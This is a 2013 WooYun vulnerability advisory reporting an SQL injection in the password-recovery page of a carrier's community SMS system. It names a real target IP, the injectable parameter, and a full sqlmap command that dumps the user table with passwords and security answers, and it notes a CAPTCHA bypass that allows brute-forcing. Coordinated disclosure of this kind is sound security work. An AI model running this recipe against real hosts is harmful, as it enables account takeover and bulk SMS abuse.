漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-040719
漏洞标题：中创信测小区短信业务系统(V1.0)SQL注入漏洞
相关厂商：中国联通
漏洞作者： 10457793
提交时间：2013-10-23 10:40
修复时间：2013-12-07 10:41
公开时间：2013-12-07 10:41
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-10-23： 细节已通知厂商并且等待厂商处理中
2013-10-27： 厂商已经确认，细节仅向厂商公开
2013-11-06： 细节向核心白帽子及相关领域专家公开
2013-11-16： 细节向普通白帽子公开
2013-11-26： 细节向实习白帽子公开
2013-12-07： 细节向公众公开
简要描述：
由中创信测小区短信业务系统存在SQL注入漏洞，测试案例为吉林省联通公司的中创信测小区短信业务系统。
危害：登录管理员后台可以操作用户，登录用户后台可进行短信群发。
详细说明：
中创信测小区短信业务系统在密码找回处存在SQL注入漏洞，包括但不限于这一个SQL注入漏洞位置。
漏洞证明：
测试地址
http://122.141.250.33/ForgetPassword.aspx
版本
POST /ForgetPassword.aspx
Text_LogName=null
获取用户的SQLMAP参数为
sqlmap -r /路径/文件名 -p"Text_LogName" --level=5 --dbms=sybase --dump-format=HTML --dump -T"WTFSMS_USER" -D"库名"
获取到的用户信息包括用户名|密码|找回密码的问题和答案，通过密保即可重置用户密码进行登录，不需要解密密码了。
人品问题，我就不重置管理员密码了。
来看看普通用户能干嘛把。
另外验证码好像也有问题，POST数据的时候去掉验证码项就不会提示验证码问题，但如果输入错误或者不输入就不行。这样可能带来用户密码穷举风险。
修复方案：
版权声明：转载请注明来源 10457793@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2013-10-27 23:31
厂商回复：
CNVD暂未复现所述情况，已经站内信向白帽子请教，请求协助，请白帽子注意查收，先行根据图片确认，后续复现后再行处置。
最新状态：
暂无